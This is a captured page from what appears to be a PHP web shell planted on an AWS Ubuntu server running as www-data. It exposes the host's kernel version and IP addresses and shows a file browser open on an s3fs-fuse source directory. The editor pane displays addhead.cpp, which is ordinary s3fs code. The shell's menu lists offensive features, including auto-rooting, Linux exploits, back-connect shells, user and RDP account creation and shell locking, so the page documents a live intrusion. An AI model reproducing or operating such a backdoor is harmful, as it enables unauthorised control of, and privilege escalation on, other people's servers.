Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.142.42.247
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
ubuntu /
s3fs-fuse /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.deps
[ DIR ]
drwxrwxr-x
Makefile
32.69
KB
-rw-rw-r--
Makefile.am
1.57
KB
-rw-rw-r--
Makefile.in
33.49
KB
-rw-rw-r--
addhead.cpp
7.13
KB
-rw-rw-r--
addhead.h
1.96
KB
-rw-rw-r--
addhead.o
574.42
KB
-rw-rw-r--
cache.cpp
20.22
KB
-rw-rw-r--
cache.h
5.72
KB
-rw-rw-r--
cache.o
1.12
MB
-rw-rw-r--
common.h
6.94
KB
-rw-rw-r--
common_auth.cpp
2.37
KB
-rw-rw-r--
common_auth.o
157.23
KB
-rw-rw-r--
curl.cpp
143.81
KB
-rw-rw-r--
curl.h
24.85
KB
-rw-rw-r--
curl.o
4.23
MB
-rw-rw-r--
fdcache.cpp
79.11
KB
-rw-rw-r--
fdcache.h
10.04
KB
-rw-rw-r--
fdcache.o
1.91
MB
-rw-rw-r--
gnutls_auth.cpp
10.44
KB
-rw-rw-r--
nss_auth.cpp
7.46
KB
-rw-rw-r--
openssl_auth.cpp
9.59
KB
-rw-rw-r--
openssl_auth.o
106.31
KB
-rw-rw-r--
psemaphore.h
2.01
KB
-rw-rw-r--
s3fs
5.94
MB
-rwxrwxr-x
s3fs.cpp
163.04
KB
-rw-rw-r--
s3fs.h
2.73
KB
-rw-rw-r--
s3fs.o
4.31
MB
-rw-rw-r--
s3fs_auth.h
2.21
KB
-rw-rw-r--
s3fs_util.cpp
49.47
KB
-rw-rw-r--
s3fs_util.h
4.78
KB
-rw-rw-r--
s3fs_util.o
1.14
MB
-rw-rw-r--
string_util.cpp
14.98
KB
-rw-rw-r--
string_util.h
2.77
KB
-rw-rw-r--
string_util.o
655.09
KB
-rw-rw-r--
test_string_util
461.34
KB
-rwxrwxr-x
test_string_util.cpp
5.06
KB
-rw-rw-r--
test_string_util.o
394.03
KB
-rw-rw-r--
test_util.h
2.85
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : addhead.cpp
/* * s3fs - FUSE-based file system backed by Amazon S3 * * Copyright(C) 2007 Randy Rizun <rrizun@gmail.com> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #include <cstdio> #include <cstdlib> #include <cstring> #include <syslog.h> #include <curl/curl.h> #include <sstream> #include <fstream> #include <string> #include <map> #include <list> #include <vector> #include "common.h" #include "addhead.h" #include "curl.h" #include "s3fs.h" using namespace std; //------------------------------------------------------------------- // Symbols //------------------------------------------------------------------- #define ADD_HEAD_REGEX "reg:" //------------------------------------------------------------------- // Class AdditionalHeader //------------------------------------------------------------------- AdditionalHeader AdditionalHeader::singleton; //------------------------------------------------------------------- // Class AdditionalHeader method //------------------------------------------------------------------- AdditionalHeader::AdditionalHeader() { if(this == AdditionalHeader::get()){ is_enable = false; }else{ abort(); } } AdditionalHeader::~AdditionalHeader() { if(this == AdditionalHeader::get()){ Unload(); }else{ abort(); } } bool AdditionalHeader::Load(const char* file) { if(!file){ S3FS_PRN_WARN("file is NULL."); return false; } Unload(); ifstream AH(file); if(!AH.good()){ S3FS_PRN_WARN("Could not open file(%s).", file); return false; } // read file string line; ADDHEAD *paddhead; while(getline(AH, line)){ if('#' == line[0]){ continue; } if(line.empty()){ continue; } // load a line istringstream ss(line); string key; // suffix(key) string head; // additional HTTP header string value; // header value if(0 == isblank(line[0])){ ss >> key; } if(ss){ ss >> head; if(ss && static_cast<size_t>(ss.tellg()) < line.size()){ value = line.substr(static_cast<int>(ss.tellg()) + 1); } } // check it if(head.empty()){ if(key.empty()){ continue; } S3FS_PRN_ERR("file format error: %s key(suffix) is no HTTP header value.", key.c_str()); Unload(); return false; } paddhead = new ADDHEAD; if(0 == strncasecmp(key.c_str(), ADD_HEAD_REGEX, strlen(ADD_HEAD_REGEX))){ // regex if(key.size() <= strlen(ADD_HEAD_REGEX)){ S3FS_PRN_ERR("file format error: %s key(suffix) does not have key string.", key.c_str()); delete paddhead; continue; } key = key.substr(strlen(ADD_HEAD_REGEX)); // compile regex_t* preg = new regex_t; int result; if(0 != (result = regcomp(preg, key.c_str(), REG_EXTENDED | REG_NOSUB))){ // we do not need matching info char errbuf[256]; regerror(result, preg, errbuf, sizeof(errbuf)); S3FS_PRN_ERR("failed to compile regex from %s key by %s.", key.c_str(), errbuf); delete preg; delete paddhead; continue; } // set paddhead->pregex = preg; paddhead->basestring = key; paddhead->headkey = head; paddhead->headvalue = value; }else{ // not regex, directly comparing paddhead->pregex = NULL; paddhead->basestring = key; paddhead->headkey = head; paddhead->headvalue = value; } // add list addheadlist.push_back(paddhead); // set flag if(!is_enable){ is_enable = true; } } return true; } void AdditionalHeader::Unload() { is_enable = false; for(addheadlist_t::iterator iter = addheadlist.begin(); iter != addheadlist.end(); ++iter){ ADDHEAD *paddhead = *iter; if(paddhead){ if(paddhead->pregex){ regfree(paddhead->pregex); delete paddhead->pregex; } delete paddhead; } } addheadlist.clear(); } bool AdditionalHeader::AddHeader(headers_t& meta, const char* path) const { if(!is_enable){ return true; } if(!path){ S3FS_PRN_WARN("path is NULL."); return false; } size_t pathlength = strlen(path); // loop // // [NOTE] // Because to allow duplicate key, and then scanning the entire table. // for(addheadlist_t::const_iterator iter = addheadlist.begin(); iter != addheadlist.end(); ++iter){ const ADDHEAD *paddhead = *iter; if(!paddhead){ continue; } if(paddhead->pregex){ // regex regmatch_t match; // not use if(0 == regexec(paddhead->pregex, path, 1, &match, 0)){ // match -> adding header meta[paddhead->headkey] = paddhead->headvalue; } }else{ // directly comparing if(paddhead->basestring.length() < pathlength){ if(0 == paddhead->basestring.length() || 0 == strcmp(&path[pathlength - paddhead->basestring.length()], paddhead->basestring.c_str())){ // match -> adding header meta[paddhead->headkey] = paddhead->headvalue; } } } } return true; } struct curl_slist* AdditionalHeader::AddHeader(struct curl_slist* list, const char* path) const { headers_t meta; if(!AddHeader(meta, path)){ return list; } for(headers_t::iterator iter = meta.begin(); iter != meta.end(); ++iter){ // Adding header list = curl_slist_sort_insert(list, iter->first.c_str(), iter->second.c_str()); } meta.clear(); S3FS_MALLOCTRIM(0); return list; } bool AdditionalHeader::Dump() const { if(!IS_S3FS_LOG_DBG()){ return true; } ostringstream ssdbg; int cnt = 1; ssdbg << "Additional Header list[" << addheadlist.size() << "] = {" << endl; for(addheadlist_t::const_iterator iter = addheadlist.begin(); iter != addheadlist.end(); ++iter, ++cnt){ const ADDHEAD *paddhead = *iter; ssdbg << " [" << cnt << "] = {" << endl; if(paddhead){ if(paddhead->pregex){ ssdbg << " type\t\t--->\tregex" << endl; }else{ ssdbg << " type\t\t--->\tsuffix matching" << endl; } ssdbg << " base string\t--->\t" << paddhead->basestring << endl; ssdbg << " add header\t--->\t" << paddhead->headkey << ": " << paddhead->headvalue << endl; } ssdbg << " }" << endl; } ssdbg << "}" << endl; // print all S3FS_PRN_DBG("%s", ssdbg.str().c_str()); return true; } /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim600: noet sw=4 ts=4 fdm=marker * vim<600: noet sw=4 ts=4 */
Close